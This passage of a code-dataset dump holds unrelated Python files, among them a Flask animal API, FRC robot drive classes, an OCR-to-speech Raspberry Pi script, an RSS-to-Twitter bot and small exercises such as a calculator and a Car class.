'desc' : \"\",\n 'type' : 'TRANSFORM',\n 'default' : None,\n },\n {\n 'attr' : 'material',\n 'desc' : \"\",\n 'type' : 'PLUGIN',\n 'default' : \"\",\n },\n {\n 'attr' : 'object_id',\n 'desc' : \"\",\n 'type' : 'INT',\n 'default' : 0,\n },\n)\n","sub_path":"plugins/object/VRayClipper.py","file_name":"VRayClipper.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"240444268","text":"from flask import Flask\nfrom flask_restful import Api, Resource, reqparse\n\napp = Flask(__name__)\napi = Api(app)\n\nanimals = [\n {\n \"id\": \"1\",\n \"name\": \"Gallinazo Rey\",\n \"class\": \"Ave\",\n \"order\": \"Incertae Sedis\",\n \"family\": \"Cathartidae\",\n \"gender\": \"Sarcoramphus\",\n \"species\": \"Arcoramphus papa\",\n \"commonName\": \"Zopilote rey, condor real, cuervo real\"\n },\n {\n \"id\": \"2\",\n \"name\": \"Pavon negro o Crax rubra\",\n \"class\": \"Ave\",\n \"order\": \"galliformes\",\n \"family\": \"cracidae\",\n \"gender\": \"crax\",\n \"species\": \"crax rubra\",\n \"commonName\": \"pavon negro, hocofaisan, pavon norteno\" \n },\n {\n \"id\": \"3\",\n \"name\": \"Guacamaya Amarilla\",\n \"class\": \"Ave\",\n \"order\": \"Psittaciformes\",\n \"family\": \"Psittacidae\",\n \"gender\": \"Ara\",\n \"species\": \"Ara ararauna\",\n \"commonName\": \"Guacamaya azul o azul amarillo, papagayo o paraba azul amarillo\" \n },\n {\n \"id\": \"4\",\n \"name\": \"Guacamaya Bandera\",\n \"class\": \"Ave\",\n \"order\": \"Psittaciformes\",\n \"family\": \"Psittacidae\",\n \"gender\": \"ara\",\n \"species\": \"Ara ararauna\",\n \"commonName\": \"guacamaya bandera, guacamayo macao, guacamayo rojo\" \n },\n {\n \"id\": \"5\",\n \"name\": \"Tapir\",\n \"class\": \"mammalia\",\n \"order\": \"perissodactyla\",\n \"family\": \"tapiridae\",\n \"gender\": \"tapirus\",\n \"species\": \"tapirus bairdii\",\n \"commonName\": \"tapir centroamericano, danta, anteburro, macho de monte\" \n },\n {\n \"id\": \"6\",\n \"name\": \"Venado cola blanca\",\n \"class\": \" mammalia\",\n \"order\": \" artiodactyla\",\n \"family\": \": cervidae\",\n \"gender\": \" odocoileus\",\n \"species\":\" odocoileus virginiaus\",\n \"commonName\": \" Venado de cola blanca, ciervo de cola blanca, ciervo de virginia\"\n },\n {\n \"id\": \"7\",\n \"name\": \"Jaguar\",\n \"class\": \" Mammalia\",\n \"order\": \" Carnívora\",\n \"family\": \": felidae\",\n \"gender\": \" panthera\", \n \"species\":\" panthera onca\",\n \"commonName\": \" jaguar, Yaguar, Yaguerete Balam, Barum\"\n },\n {\n \"id\": \"8\",\n \"name\": \"Zorro cangrejero\",\n \"class\": \" mammalia\",\n \"order\": \" carnivora\",\n \"family\": \": canidae\",\n \"gender\": \" cersocyon\", \n \"species\":\" cerdocyon thous\",\n \"commonName\": \" zorro de monte, zorro sabanero\"\n },\n {\n \"id\": \"9\",\n \"name\": \"Nutria\",\n \"class\": \" Mammalia\",\n \"order\": \" carnívora \",\n \"family\": \": Mustelidae\",\n \"gender\": \" Sanguinus\",\n \"species\":\" Lontra longicaudis\",\n \"commonName\": \" nutria, lobito de río\"\n },\n {\n \"id\": \"10\",\n \"name\": \"Saino\",\n \"class\": \" Mammalia\",\n \"order\": \" artiodactyla\",\n \"family\": \": tayassuidae\",\n \"gender\": \" tayassu\",\n \"species\":\" tayassu tajacu\",\n \"commonName\": \" saino, pecarí de collar, jabalí\"\n },\n {\n \"id\": \"11\",\n \"name\": \" puma\",\n \"class\": \" Mammalia\",\n \"order\": \" carnivora\",\n \"family\": \" feliade\",\n \"gender\": \" puma\",\n \"species\":\" puma con color\",\n \"commonName\": \" leon de montaña\"\n },\n {\n \"id\": \"12\",\n \"name\": \" mono cara blanca \",\n \"class\": \" Mammalia\",\n \"order\": \" primate\",\n \"family\": \" cedibae\",\n \"gender\": \" cebus\",\n \"species\":\" cebius capuchino\",\n \"commonName\": \" cari blanco maicero capuchino tanque manchin\"\n },\n {\n \"id\": \"13\",\n \"name\": \" mono titi panameño\",\n \"class\": \" Mammalia\",\n \"order\": \" primates\",\n \"family\": \" calitrichidae\",\n \"gender\": \" saguinus\",\n \"species\":\" saguinus geoffroyi\",\n \"commonName\": \" titi tamarindo panameño,tamarindo de nuca café, pinche de morron\"\n },\n {\n \"id\": \"14\",\n \"name\": \" Loro comun\",\n \"class\": \" aves\",\n \"order\": \" psittaciformes\",\n \"family\": \" psiittacidae\",\n \"gender\": \" Amazona\",\n \"species\":\" amazona ochrocephala\",\n \"commonName\": \" Amazonas Harinoso , Loro Harinoso, amazónico\"\n }, \n {\n \"id\": \"15\",\n \"name\": \" taira\",\n \"class\": \" Mammalia\",\n \"order\": \" carnivora\",\n \"family\": \": mustelidae\",\n \"gender\": \" eira\",\n \"species\":\" eira barbara\",\n \"commonName\": \" huron mayor,cabeza de viejo\"\n },\n {\n \"id\": \"16\",\n \"name\": \" tucan de pico castaño\",\n \"class\": \" Aves\",\n \"order\": \" piciformes\",\n \"family\": \" ramphastidae\",\n \"gender\": \" ramphastos\",\n \"species\":\" ramphastos swainsonii\",\n \"commonName\": \" tucan Dio te de\"\n },\n {\n \"id\": \"17\",\n \"name\": \" tortuga terrestre de patas rojas\",\n \"class\": \" Sauropsida\",\n \"order\": \" Testudin\",\n \"family\": \" Testudinidae\",\n \"gender\": \" chelonoidis\",\n \"species\":\" chelonoidis carbonaria\",\n \"commonName\": \"tortuga morrocoya\"\n }, \n {\n \"id\": \"18\",\n \"name\": \" Tigrillo\",\n \"class\": \" Mammalia\",\n \"order\": \" carnivora\",\n \"family\": \" felidae\",\n \"gender\": \" leopardus\",\n \"species\":\" leopardus wiedii\",\n \"commonName\": \" gato tigre, caucel, maracaya\"\n },\n {\n \"id\": \"19\",\n \"name\": \" gato solo\",\n \"class\": \" Mammalia\",\n \"order\": \" carnivora\",\n \"family\": \" procyonidae\",\n \"gender\": \" nasua\",\n \"species\":\" nasua narica\",\n \"commonName\": \"coati\"\n },\n {\n \"id\": \"20\",\n \"name\": \" mono araña colorado\",\n \"class\": \" Mammalia\",\n \"order\": \" primates\",\n \"family\": \" cebidae\",\n \"gender\": \" ateles\",\n \"species\":\" ateles geoffroy\",\n \"commonName\": \"mono araña de manos negras\"\n },\n {\n \"id\": \"21\",\n \"name\": \" suirirí piquirrojo\",\n \"class\": \" aves\",\n \"order\": \" anseriformes\",\n \"family\": \" anatidae\",\n \"gender\": \" dendrocygna\",\n \"species\":\" Dendrocygna autumnalis\",\n \"commonName\": \"güichichi \"\n },\n {\n \"id\": \"22\",\n \"name\": \" guacamaya rojo\",\n \"class\": \" ave\",\n \"order\": \" psittaciforme\",\n \"family\": \" psittacidae\",\n \"gender\": \" Ara\",\n \"species\":\" Ara chloropterus\",\n \"commonName\": \" guacamayo aliverde\"\n },\n {\n \"id\": \"23\",\n \"name\": \" águila harpía\",\n \"class\": \" ave\",\n \"order\": \" accipitriforme\",\n \"family\": \" accipitriforme\",\n \"gender\": \" harpia\",\n \"species\":\" harpia harpyja\",\n \"commonName\": \" harpía mayor\"\n },\n {\n \"id\": \"24\",\n \"name\": \" capibara ronsoco\",\n \"class\": \" Mammalia\",\n \"order\": \" rodentia\",\n \"family\": \": caviidae\",\n \"gender\": \" hydrochoerus\",\n \"species\":\" Hydrochoerus hydrochaeris\",\n \"commonName\": \" chigüire, pancho, chigüiro\"\n }\n]\n\nclass Animal(Resource):\n def get(self, id):\n for animal in animals:\n if(id == animal[\"id\"]):\n return animal, 200\n return \"User not found\", 404\n\n def post(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"class\")\n parser.add_argument(\"order\")\n parser.add_argument(\"family\")\n parser.add_argument(\"gender\")\n parser.add_argument(\"species\")\n parser.add_argument(\"commonName\")\n args = parser.parse_args()\n\n for animal in animals:\n if(id == animal[\"id\"]):\n return \"Animal with name {} already exists\".format(id), 400\n\n animal = {\n \"id\": id,\n \"name\": args[\"name\"],\n \"class\": args[\"class\"],\n \"order\": args[\"order\"],\n \"family\": args[\"family\"],\n \"gender\": args[\"gender\"],\n \"species\": args[\"species\"],\n \"commonName\": args[\"commonName\"]\n }\n animals.append(animal)\n return animal, 201\n\n def put(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"id\")\n parser.add_argument(\"class\")\n parser.add_argument(\"order\")\n parser.add_argument(\"family\")\n parser.add_argument(\"gender\")\n parser.add_argument(\"species\")\n parser.add_argument(\"commonName\")\n args = parser.parse_args()\n\n for animal in animals:\n if(id == animal[\"id\"]):\n animal[\"class\"] = args[\"class\"]\n animal[\"order\"] = args[\"order\"]\n animal[\"family\"] = args[\"family\"]\n animal[\"gender\"] = args[\"species\"]\n animal[\"species\"] = args[\"species\"]\n animal[\"commonName\"] = args[\"commonName\"]\n return animal, 200\n \n animal = {\n \"id\": id,\n \"name\": args[\"name\"],\n \"class\": args[\"class\"],\n \"order\": args[\"order\"],\n \"family\": args[\"family\"],\n \"gender\": args[\"gender\"],\n \"species\": args[\"species\"],\n \"commonName\": args[\"commonName\"]\n }\n animals.append(animal)\n return animal, 201\n\n def delete(self, name):\n global animals\n animals = [animal for animal in animals if animal[\"id\"] != animal]\n return \"{} is deleted.\".format(id), 200\n \napi.add_resource(Animal, \"/animal/\")\n\napp.run(debug=False)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"12251634","text":"import gzip\nimport urllib.request\nimport base64\nimport json\nrequest = urllib.request.Request(\n \"https://api.touch2success.com/menu?host=burslemspice.com&app_name=FOODHUB\",\n headers={\n \"Accept-Encoding\": \"gzip\",\n \"User-Agent\": \"Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11\", \n })\nresponse = urllib.request.urlopen(request)\na=response.read().decode()\nb=json.loads(a)\nprint(b)\ngzipFile = gzip.GzipFile(fileobj=response)\ndata=gzipFile.read()\ndatass = str(data, base64.decode())\nprint(datass)\nst=base64.b64decode(data)\n# print(st)\n# print(gzip.decompress(st))\nwith open(\"getmenu3.gz\", 'w') as outfile:\n outfile.write(data)","sub_path":"pyPrgms/getMenu3.py","file_name":"getMenu3.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509131689","text":"\"\"\"\nThis module creates a biased random number generator. It returns 0 with\nprobability p and 1 with probability (1-p). The goal of this exercise is to\ncreate a fair random number generator using the biased one.\n\"\"\"\n\nimport random\nfrom collections import Counter\n\np = random.randint(1, 99)\nchoices = [0] * p\nchoices.extend([1] * (100-p))\n\n\ndef random_biased():\n \"\"\"\n returns 0 with probability p and 1 with probability (1-p) for some p\n \"\"\"\n\n return random.choice(choices)\n\n\ndef random_fixed():\n \"\"\"\n returns 0 or 1 with equal probability (1/2) using random_biased()\n \"\"\"\n\n x, y = 0, 0\n\n while x == y:\n x = random_biased()\n y = random_biased()\n\n if x != y:\n return x\n\n\nif __name__ == '__main__':\n print('-' * 80)\n print('p is {}'.format(p))\n\n fixed, biased = [], []\n for i in range(1000):\n fixed.append(random_fixed())\n biased.append(random_biased())\n\n print('Biased Results')\n c2 = Counter(biased)\n for e in sorted(c2.items()):\n print(e)\n\n print('Fixed Results')\n c1 = Counter(fixed)\n for e in sorted(c1.items()):\n print(e)\n\n print('-' * 80)\n","sub_path":"random/random-biased.py","file_name":"random-biased.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499222858","text":"#not the main class\n\ntry:\n import wpilib as wpi\nexcept:\n import testing as wpi\n\nimport util\n\ndef Driver(p1, p2, p3 = None, p4 = None):\n print(\"Driver switcher function called\")\n if p3 == p4 == None:\n print(\"Detected Two-Motor setup\\n\")\n return Driver_2(p1, p2)\n else:\n print(\"Detected Four-Motor setup\\n\")\n return Driver_4(p1, p2, p3, p4)\n\nclass Driver_2:\n \"\"\"Driver class for two motor robots\"\"\"\n def __init__(self, port1, port2):\n self.L = speed_con(port1, True)\n self.R = speed_con(port2, True)\n self.vicList = [self.L, self.R]\n print(\"Two-wheeled driver on ports \" + str(port1) + \" and \" + str(port2))\n \n def stop(self):\n print(\"stop called\")\n for motor in self.vicList:\n motor.set_speed(0)\n \n def tankDriveRaw(self, left, right=0):\n self.L.set_speed(left)\n self.R.set_speed(-right)\n print (\"tankDriveRaw at \" + str(left) + \" and \" + str(right))\n \n def arcadeDriveRaw(self, turn, power):\n left = power + turn\n right = power - turn\n print(\"arcadeDriveRaw at \" + str(power) + \" and \" + str(turn))\n self.tankDriveRaw(left, right)\n \n def tankDrive(self, ls, rs):\n return self.tankDriveRaw(ls.getStickAxes()[1], rs.getStickAxes()[1])\n \n def arcadeDrive(self, stick):\n return self.arcadeDriveRaw(stick.getStickAxes()[0], stick.getStickAxes()[1])\n\nclass Driver_4:\n \"\"\"Driver class that manages the Motor controllers\"\"\"\n def __init__(self, port1, port2, port3, port4):\n \"\"\"Depends on four motors, will make two-motor version asap\"\"\"\n self.FL = speed_con(port1, True)\n self.FR = speed_con(port2, True)\n self.RL = speed_con(port3, True)\n self.RR = speed_con(port4, True)\n self.vicList = [self.FL, self.FR, self.RL, self.RR]\n \n def stop(self):\n \"\"\"Stops the robot, useful for everything\"\"\"\n self.tankDriveRaw(0, 0)\n print(\"Robot Stopped\")\n \n def tankDrive(self, stick, stick2=None):\n \"\"\"Takes two stick list inputs [x,y]\"\"\"\n left = 0\n right = 0\n \n if stick2 == None:\n try:\n left = -stick.getStickAxes()[1]\n right = -stick.getStickAxes()[4]\n except:\n left = -stick.getStickAxes()[1]\n right = -stick.getStickAxes()[3]\n else:\n left = stick.getStickAxes()[1]\n right = stick2.getStickAxes()[1]\n \n self.vicList[0].set_speed(left)\n self.vicList[1].set_speed(-right)\n self.vicList[2].set_speed(left)\n self.vicList[3].set_speed(-right)\n \n print(\"tankDrive at \" + str(left) + \" and \" + str(right))\n \n def holonomicDrive(self, xboxController):\n \"\"\"a nice wrapper\"\"\"\n power = xboxController.getAllAxes[1] #y-axis, first stick\n strafe = xboxController.getAllAxes[0] #x-axis, first stick\n spin = xboxController.getAllAxes[3] #x-axis, second stick (x...[2] is the trigger axis)\n \n fl = power + strafe + spin\n fr = power - strafe - spin\n rl = power - strafe + spin\n rr = power + strafe - spin\n \n print(\"holonomicDrive called\")\n \n self.FL.set_speed(fl)\n self.FR.set_speed(fr)\n self.RL.set_speed(rl)\n self.RR.set_speed(rr) \n \n def tankDriveRaw(self, left, right):\n self.vicList[0].set_speed(left)\n self.vicList[1].set_speed(-right)\n self.vicList[2].set_speed(left)\n self.vicList[3].set_speed(-right)\n print(\"tankDriveRaw at \" + str(left) + \" and \" + str(right))\n\n def holonomicDriveRaw(self, power, strafe=0, spin=0):\n fl = power + strafe + spin\n fr = power - strafe - spin\n rl = power - strafe + spin\n rr = power + strafe - spin\n \n max = util.max_of_4(fl, fr, rl, rr)\n \n fl = fl/max\n fr = fr/max\n rl = rl/max\n rr = rr/max\n \n print('holonomicDriveRaw called')\n \n self.FL.set_speed(fl)\n self.FR.set_speed(fr)\n self.RL.set_speed(rl)\n self.RR.set_speed(rr)\n \nclass dual_solenoid:\n def __init__(self, port1, port2):\n self.one = single_solenoid(port1)\n self.two = single_solenoid(port2)\n \n def extend(self):\n self.one.extend()\n self.two.retract()\n \n def retract(self):\n self.one.retract()\n self.two.retract()\n \n def get(self):\n if self.one.get() and not self.two.get():\n return True\n else:\n return False\n \nclass single_solenoid:\n def __init__(self, port):\n self.port = port\n print(\"single_solenoid set up on port \" + str(port))\n self.noid = wpi.Solenoid(8, port)\n comp_needed = True\n \n def extend(self):\n self.noid.Set(True)\n print (\"Solenoid on port \" + str(self.port) + \" active\")\n \n def retract(self):\n self.noid.Set(False)\n print (\"Solenoid on port \" + str(self.port) + \" not active\")\n \n def get(self):\n return self.noid.Get()\n \nclass relay:\n def __init__(self, port):\n self.rel = wpi.Relay(port)\n self.port = port\n comp_needed = True\n print(\"ghetto relay class set up on port \" + str(port))\n \n def forward(self):\n self.rel.Set(self.rel.kForward)\n print (\"relay on port \" + str(self.port) + \" set to forward\")\n \n def backward(self):\n self.rel.Set(self.rel.kReverse)\n print (\"relay on port \" + str(self.port) + \" set to backward\")\n \n def off(self):\n self.rel.Set(self.rel.kOff)\n print (\"relay on port \" + str(self.port) + \" set to off\")\n \ncomp_needed = False\ncomp = None\n\ndef initComp():\n comp = wpi.Compressor(1,1)\n comp.Start()\n\nclass EL_wire(object):\n def __init__(self, port):\n self.port = port\n print (\"EL Wire Driver set up on relay port \" + str(port))\n self.relay = relay(port)\n \n def on():\n self.relay.forward()\n print (\"EL Wire on, let the awesome commence\")\n \n def off():\n self.relay.off()\n print (\"EL Wire off, let the sadness be heard\")\n\nclass speed_con:\n def __init__(self, port, jaguar, slot=4):\n print(\"speed_con obj on port \" + str(port) + \" active\")\n \n if jaguar == True:\n self.vic = wpi.Jaguar(port)\n print(\"is jaguar\\n\")\n else:\n self.vic = wpi.Victor(port)\n print(\"is victor\\n\")\n\n def set_speed(self, value):\n self.vic.Set(self.limit(value))\n \n def limit(self, n):\n if n > 1.0:\n return 1.0\n elif n < -1.0:\n return -1.0\n else:\n return n\n","sub_path":"school/FRC_2412_CODE/python_10/Heatran/outputs.py","file_name":"outputs.py","file_ext":"py","file_size_in_byte":6823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"510461334","text":"import os\nimport sys\nfrom datetime import datetime\n\nimport PIL\nimport PIL.ImageEnhance\nimport pydub\nimport pydub.playback\nimport pytesseract\nimport requests\nfrom werkzeug import urls\n\nimport picamera\n\n\ndef take_picture(file_name):\n '''\n Capture an image\n '''\n\n # create camera object\n c = picamera.PiCamera()\n\n c.capture('{}.png'.format(file_name))\n\n # destro camera object\n c.close()\n\n print('[take_picture] image captured, file_name: {}.png'.format(file_name))\n\n\ndef ocr_image(file_name):\n '''\n Extract text from an image\n '''\n # load image from file\n img = PIL.Image.open('{}.png'.format(file_name))\n\n # crop image\n crop = img.crop((300,300,1600,800))\n print('[orc_image] Image cropped')\n\n # enhance contrast\n enhanced = PIL.ImageEnhance.Contrast(crop).enhance(1.4)\n print('[orc_image] Image contrast enhanced')\n\n # save enhanced image\n enhanced.save('{}-cropped-enhanced.png'.format(file_name))\n\n # extract text\n txt = pytesseract.image_to_string(enhanced)\n\n print('[orc_image] text extracted: {}'.format(txt))\n\n return txt\n\n\ndef text_to_audio(txt, file_name):\n '''\n Send text to google, and get back an mp3 file with that text pronounced\n '''\n\n # types of audio we can accept\n types = [\n 'audio/mpeg', 'audio/x-mpeg', 'audio/mp3', 'audio/x-mp3',\n 'audio/mpeg3', 'audio/x-mpeg3', 'audio/mpg', 'audio/x-mpg',\n 'audio/x-mpegaudio', 'application/octet-stream', 'audio/mpegurl',\n 'audio/mpeg-url', 'audio/x-mpegurl', 'audio/x-scpls', 'audio/scpls',\n 'application/pls', 'application/x-scpls', 'application/pls+xml', '*/*'\n ]\n\n # parameters we need to send to google \n # parameter 'q' will contain the text we want to be pronounced\n query = {'ie': 'UTF-8', 'client': 'tw-ob', 'q': txt, 'tl': 'En-us'}\n\n # the url we need to access to get text converted into audio\n url = urls.URL(scheme='http',\n netloc='translate.google.com',\n path='/translate_tts',\n query=urls.url_encode(query),\n fragment='')\n\n print('[text_to_audio] google url: {}'.format(url))\n\n response = requests.get(\n url,\n headers={\n # what application google should think we are using\n 'User-Agent': 'mpg123/1.25.10',\n # audio types\n 'Accept': ','.join(types)\n })\n\n print('[text_to_audio] response from google: {}'.format(response.status_code))\n\n # open a new file in binary mode, and save the audio\n with open('{}.mp3'.format(file_name), 'wb') as out_file:\n out_file.write(response.content)\n\n print('[text_to_audio] audio saved as: {}.mp3'.format(file_name))\n\ndef play_audio(file_name):\n\n # verify that file exists and is a file\n if os.path.isfile('{}.mp3'.format(file_name)):\n # play the file\n print('[play_audio] Playing audio file')\n sound = pydub.AudioSegment.from_mp3('{}.mp3'.format(file_name))\n pydub.playback.play(sound)\n else:\n print('[play_audio] {}.mp3 is not a valid file'.format(file_name))\n\n\ndef main():\n\n print('Hello')\n\n # creates a unique timestamp string, which will be used as a file name\n file_name = datetime.strftime(datetime.now(), '%m%d%y_%H%M%S')\n\n take_picture(file_name)\n\n txt = ocr_image(file_name)\n\n text_to_audio(txt, file_name)\n\n play_audio(file_name)\n\n print('Goodbye')\n\nif __name__ == '__main__':\n main()\n","sub_path":"cjack.py","file_name":"cjack.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497140778","text":"from calculator import *\n\nerror_msg = 'Invalid choice!'\nget_menu()\n\nwhile True:\n print ('Type the corresponding number for calculation or type 0 to quit: ') \n operator = input()\n try:\n operator = int(operator)\n \n if operator == 0: \n print ('Quit programme') \n break\n \n elif operator == 1:\n num1 = getnuminput('Enter the first number: ') \n num2 = getnuminput('Enter the second number: ') \n result = add(num1, num2)\n print ('{} + {} = {}' .format(num1, num2, result))\n \n elif operator == 2:\n num1 = getnuminput('Enter the first number: ') \n num2 = getnuminput('Enter the second number: ') \n result = subtract(num1, num2)\n print ('{} - {} = {}' .format(num1, num2, result))\n \n elif operator == 3:\n num1 = getnuminput('Enter the first number: ') \n num2 = getnuminput('Enter the second number: ') \n result = multiply(num1, num2)\n print ('{} * {} = {}' .format(num1, num2, result))\n \n elif operator == 4:\n num1 = getnuminput('Enter the first number: ') \n num2 = getnuminput('Enter the second number: ') \n result = division(num1, num2)\n print ('{} / {} = {}' .format(num1, num2, result))\n \n elif operator == 5:\n num1 = getnuminput('Enter the first number: ') \n num2 = getnuminput('Enter the second number: ') \n result = exponent(num1, num2)\n print ('{} ^ {} = {}' .format(num1, num2, result))\n \n elif operator == 6:\n num1 = getnuminput('Enter number: ') \n result = factorial_(num1)\n print ('{}! = {}' .format(num1, result))\n \n elif operator == 7:\n num1 = getnuminput('Enter number: ') \n result = sqrt(num1)\n print ('Square root = {}' .format(result))\n \n elif operator == 8:\n num1 = getnuminput('Enter angle in radians: ') \n result = sine(num1)\n print ('Sine = ', round(result,4)) \n \n elif operator == 9:\n num1 = getnuminput('Enter angle in radians: ') \n result = cosine(num1)\n print ('Cosine = ', round(result,4))\n \n elif operator == 10:\n num1 = getnuminput('Enter angle in radians: ') \n result = tangent(num1)\n print ('Tangent = ', round(result,4))\n else: \n print (error_msg)\n except:\n print (error_msg)\n \n\n\n\n","sub_path":"CalculatorCA1/calculatorApp.py","file_name":"calculatorApp.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"645906102","text":"# all prints() are used in console testing, delete/comment while in production \n\nimport feedparser, nltk, tweepy, json, time\nfrom pyshorteners import Shortener\n\nused_file = 'used_links_list.json'\n\n#Erasing [used links] in json in testing mode, comment when no need\nused_links = []\nwith open(used_file, 'w') as used:\n json.dump(used_links, used)\n\n# Insert rss feed url\nfeed = ['https://foo.bar.foo.bar', \\\n 'https://foo.bar.foo.bar', \\\n 'https://foo.bar.foo.bar',\n ]\n\n#Parsing a news title by iterating news feeds\nwhile True:\n #Parsing news feeds \n for k in range(len(feed)): \n d = feedparser.parse(feed[k])\n # TODO: COUNT TITLES IN FEED\n n_titles = len(d['entries'])\n for i in range(n_titles): # SOME FEEDS ARE LESS THAN fixed no of TITLES CAUSING ERROR !!!!! hence COUNT TITLES IN FEEDS\n\n # Loading json with used links\n with open(used_file) as used:\n used_links = json.load(used)\n\n #Parsing a link from title \n url = d.entries[i].link\n\n # Adding used 'link' to a json list to exclude used news \n## with open(used_file) as open_json:\n## links_old = json.load(open_json)\n if url not in used_links:\n used_links.append(url)\n with open(used_file, 'w') as used:\n json.dump(used_links, used)\n print('dump saved')\n\n # Parsing title \n post1 = d.entries[i].title\n\n # Inserting hashtags afore title nouns; ******magic******\n toks = nltk.word_tokenize(post1)\n tags = nltk.pos_tag(toks)\n # 1stly make list from tuples\n tags_list = [list(elem) for elem in tags] \n for t in tags_list:\n if t[1] in ['NN', 'NNP']: \n t[0] = '#' + t[0]\n t[1] = ''\n \n post2 = ' '.join([''.join(elem) for elem in tags_list])\n #print(post2) \n\n # Shortening url\n while True:\n api_key = 'api_key'\n shortener = Shortener('Google', api_key=api_key)\n short_link = shortener.short(url)\n if short_link:\n print('link OK')\n break\n\n #Building final post \n post3 = post2 + ' ' + short_link\n if 139 > len(post3) > 40: \n print('post composed, waitin 10 sec then tweeting:', post3)\n\n time.sleep(10)\n \n \n #Tweeting\n while True:\n try:\n CONSUMER_KEY = 'YOUR_KEY'\n CONSUMER_SECRET = 'CONSUMER_SECRET'\n ACCESS_KEY = ' ACCESS_KEY'\n ACCESS_SECRET = 'ACCESS_SECRET'\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\n api = tweepy.API(auth)\n tweeted = api.update_status(post3)\n if tweeted:\n print('tweeted!')\n break\n except:\n print('tweepy error, sleepin 3 min')\n time.sleep(180)\n\n else:\n print('no news') \n \n print('Waiting 5 sec for the next cycle') \n time.sleep(5)\n\n","sub_path":"z_feed.py","file_name":"z_feed.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119741648","text":"'''\nWrite a class to model a car. The class should:\n\n1. Set the attributes model, year, and max_speed in the __init__() method.\n2. Have a method that increases the max_speed of the car by 5 when called.\n3. Have a method that prints the details of the car.\n\nCreate at least two different objects of this Car class and demonstrate\nchanging the objects attributes.\n\n'''\n\nclass Car:\n def __init__(self, model, year, max_speed):\n self.name = model\n self.year=year\n self.speed=max_speed\n\n def accelerate(self):\n self.speed += 5\n return self.speed\n\n def __str__ (self):\n return f\"The car is a {self.year} {self.name} with a max speed of {self.speed} mph\"\n\nx=Car(\"Honda\", 2016, 140)\nprint(x)\ny=Car(\"Lexus\", 2020, 180)\nprint(y)\nx.accelerate()\ny.accelerate()\nprint(x,y)\n","sub_path":"07_classes_objects_methods/07_01_car.py","file_name":"07_01_car.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16981711","text":"# Write a function that takes a 2D binary array and\n# returns the number of 1 islands.\n# An island consists of 1s that are connected to the \n# north, south, east or west. For example:\n\nislands = [[0, 1, 0, 1, 0],\n [1, 1, 0, 1, 1],\n [0, 0, 1, 0, 0],\n [1, 0, 1, 0, 0],\n [1, 1, 0, 0, 0],\n [0, 0, 0, 0, 0]]\n\n# island_counter(islands) -> returns 4\n\n# 1. Translate the problem into graph terminology\n# 2. Build your graph\n# 3. Traverse your graph\n\n\ndef islands_counter(matrix):\n # Traverse nodes\n visited = []\n island_counter = 0\n for i in range(len(matrix)):\n visited.append([False] * len(matrix[0]))\n\n for col in range(len(matrix[0])):\n for row in range(len(matrix)):\n # if node not visited\n if not visited[row][col]:\n # if we hit a 1:\n if matrix[row][col] == 1:\n # mark visited\n # increment visited count\n visited = dft(row, col, matrix, visited)\n # traverse all connected nodes, mark as visited\n island_count += 1\n","sub_path":"projects/islands.py","file_name":"islands.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189188257","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nimport logging\nimport pprint\nimport werkzeug\n\nfrom odoo import http\nfrom odoo.http import request\nfrom odoo.addons.website_sale.controllers.main import WebsiteSale\n\n_logger = logging.getLogger(__name__)\n\n\nclass mygateController(http.Controller):\n @http.route(['/payment/mygate/return', '/payment/mygate/cancel', '/payment/mygate/error'], type='http', auth='public', csrf=False)\n def payu_return(self, **post):\n \"\"\" mygate.\"\"\"\n _logger.info(\n 'mygate: entering form_feedback with post data %s', pprint.pformat(post))\n return_url = '/'\n if post.get('_RESULT') == '0':\n return_url = '/shop/confirmation'\n if post:\n request.env['payment.transaction'].sudo().form_feedback(post, 'mygate')\n return werkzeug.utils.redirect(return_url)\n\n @http.route(['/shop/confirmation'], type='http', auth=\"public\", website=True)\n def payment_confirmation(self, **post):\n \"\"\" End of checkout process controller. Confirmation is basically seing\n the status of a sale.order. State at this point :\n\n - should not have any context / session info: clean them\n - take a sale.order id, because we request a sale.order and are not\n session dependant anymore\n \"\"\"\n sale_order_id = request.session.get('sale_last_order_id')\n if sale_order_id:\n order = request.env['sale.order'].sudo().browse(sale_order_id)\n if not order or order.state != 'draft':\n request.website.sale_reset()\n return request.render(\"website_sale.confirmation\", {'order': order})\n else:\n return request.redirect('/shop')\n","sub_path":"payment_mygate/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570667638","text":"#!/usr/bin/env python3\n\n# Read input from file\nwith open(\"puzzle_input.txt\") as file:\n input = file.read()\n\nturn = 1\nspoken_nums = dict()\n\n# Load starting numbers\nfor starting_num in input.split(\",\"):\n spoken_nums[int(starting_num)] = list()\n spoken_nums[int(starting_num)].append(turn)\n turn += 1\n\nprev_num = 